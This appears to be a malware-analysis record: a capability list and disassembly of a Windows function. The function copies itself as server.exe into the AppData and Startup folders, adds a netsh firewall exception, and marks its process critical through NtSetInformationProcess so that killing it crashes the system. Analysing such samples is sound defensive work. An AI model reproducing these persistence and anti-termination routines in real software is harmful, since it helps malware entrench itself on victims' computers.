Function at 0x140001320
Capabilities:
Copy file
Get common file path
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r13
push rbp
lea rbp, [rax - 0x5e8]
sub rsp, 0x6e0
mov rax, qword [0x140042080]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
mov eax, dword [0x14003c598]
lea rcx, [rbp + 0x3c0]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x48], eax
mov esi, 0x208
movzx eax, word [0x14003c59c]
mov r8d, esi
xor edx, edx
mov word [rsp + 0x4c], ax
movups xmmword [rsp + 0x38], xmm0
call fcn.140008260
mov r8d, esi
lea rcx, [rbp + 0x1b0]
xor edx, edx
call fcn.140008260
mov r8d, esi
lea rcx, [rbp - 0x60]
xor edx, edx
call fcn.140008260
mov r8d, 0x104
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r13d, 0xc8
test eax, eax
je 0x140001459
mov r9d, 1
lea rdx, [rbp + 0x3c0]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x3c0]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.140001278
test ebx, ebx
je 0x140001459
lea rax, [rsp + 0x38]
mov edx, r13d
lea r9, [rbp + 0x3c0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x1b0]
call fcn.140004128
lea rax, [rbp - 0x60]
lea r8, [rbp + 0x1b0]
sub r8, rax
movzx ecx, word [rax]
movzx edx, word [rax + r8]
sub ecx, edx
jne 0x140001445
add rax, 2
test edx, edx
jne 0x140001431
test ecx, ecx
jne 0x1400016f1
lea rcx, str.same_path__Go_ahead__n
call fcn.140001278
mov r8d, 0x12b1
lea rdx, [0x14003c46c]
mov ecx, 2
call fcn.1400042a0
mov r8, rsi
lea rcx, [rbp + 0x1b0]
xor edx, edx
call fcn.140008260
mov ebx, 0x104
lea rdx, [rbp + 0x1b0]
mov r8d, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000154e
mov r8, rsi
lea rcx, [rbp - 0x60]
xor edx, edx
call fcn.140008260
mov edx, 0x5c
lea rcx, [rbp + 0x1b0]
call fcn.140007c50
test rax, rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rax + 2]
cmovne rdx, rcx
lea rcx, [rbp - 0x60]
sub rcx, rdx
movzx eax, word [rdx]
mov word [rcx + rdx], ax
lea rdx, [rdx + 2]
test ax, ax
jne 0x1400014d8
lea rdx, [rbp - 0x60]
lea rcx, str.szFileName___s_n
call fcn.140001278
mov r8, rsi
lea rcx, [rbp + 0x3c0]
xor edx, edx
call fcn.140008260
lea rax, [rbp - 0x60]
mov rdx, r13
lea r9, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x3c0]
call fcn.140004128
lea rdx, [rbp + 0x3c0]
lea rcx, str.cmdline___s_n
call fcn.140001278
lea rcx, [rbp + 0x3c0]
call fcn.1400043b0
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x60]
movaps xmm1, xmmword [0x14003c770]
mov r8, rsi
movzx eax, word [0x14003c7a0]
xor edx, edx
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [0x14003c780]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm1, xmmword [0x14003c790]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x70], ax
call fcn.140008260
mov r8d, ebx
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400015c5
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x60]
call fcn.140004664
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x60]
call fcn.14000474c
mov eax, dword [0x14003c598]
lea rcx, [rbp + 0x1b0]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x48], eax
mov r8, rsi
movzx eax, word [0x14003c59c]
xor edx, edx
movups xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x4c], ax
call fcn.140008260
mov r8, rsi
lea rcx, [rbp - 0x60]
xor edx, edx
call fcn.140008260
mov r8, rsi
lea rcx, [rbp + 0x3c0]
xor edx, edx
call fcn.140008260
mov r8d, ebx
lea rdx, [rbp + 0x1b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001694
mov r9d, 1
lea rdx, [rbp - 0x60]
xor ecx, ecx
lea r8d, [r9 + 6]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp - 0x60]
mov ebx, eax
lea rcx, str.szStartupPath_s_n
call fcn.140001278
test ebx, ebx
je 0x140001694
lea rax, [rsp + 0x38]
mov rdx, r13
lea r9, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x3c0]
call fcn.140004128
xor r8d, r8d
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov r8d, 0x3b63
lea rdx, [0x14003c46c]
mov ecx, 2
call fcn.1400042a0
call fcn.140004480
mov r8d, 0x469b
lea rdx, [0x14003c46c]
mov ecx, 2
call fcn.1400042a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001722
lea rcx, str.OpenProcess_error__n
jmp 0x14000178a
xor r8d, r8d
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001459
lea rcx, [rbp + 0x1b0]
call fcn.1400043b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000174d
lea rcx, str.GetProcAddress_error__n
jmp 0x14000178a
mov r9d, 4
mov dword [rsp + 0x30], 1
lea r8, [rsp + 0x30]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x140001783
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.1400012cc
jmp 0x14000178f
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.1400012cc
lea rcx, str.pause
call fcn.14000d964
mov eax, 1
mov rcx, qword [rbp + 0x5d0]
xor rcx, rsp
call fcn.140005f00
lea r11, [rsp + 0x6e0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r13, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret